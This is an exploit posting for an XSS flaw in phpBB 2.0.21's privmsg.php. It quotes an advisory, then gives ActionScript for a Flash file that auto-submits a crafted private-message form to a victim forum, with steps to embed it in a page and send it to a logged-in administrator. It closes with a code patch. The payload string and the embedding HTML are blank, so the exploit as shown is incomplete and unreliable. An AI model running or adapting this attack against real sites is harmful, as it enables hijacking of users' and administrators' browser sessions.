phpBB (privmsg.php) XSS Exploit

By: Demential
Web: http://headburn.altervista.org 
E-mail: info@burnhead.it 
PhpBB website: http://phpbb.com 

Exploit tested on phpBB 2.0.21

Secunia.com said:

Input passed to the form field "Message body" in privmsg.php
is not properly sanitised before it is returned to the user
when sending messages to a non-existent user.
This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.

The Exploit:

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = ""; 
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://victim.com/phpBB2/privmsg.php", "_self", "POST"); 

Put it into a web page:






Put some text here

 



And send it to the admin (or a normal user)
users must be logged-in.

Fixing:

open phpBB2/privmsg.php
find:

			if (!($to_userdata = $db->sql_fetchrow($result)))
			{
				$error = TRUE;
				$error_msg = $lang['No_such_user'];

replace with:


			if (!($to_userdata = $db->sql_fetchrow($result)))
			{
				$error = TRUE;
				echo "Sorry, but no such user exists.";
                                exit;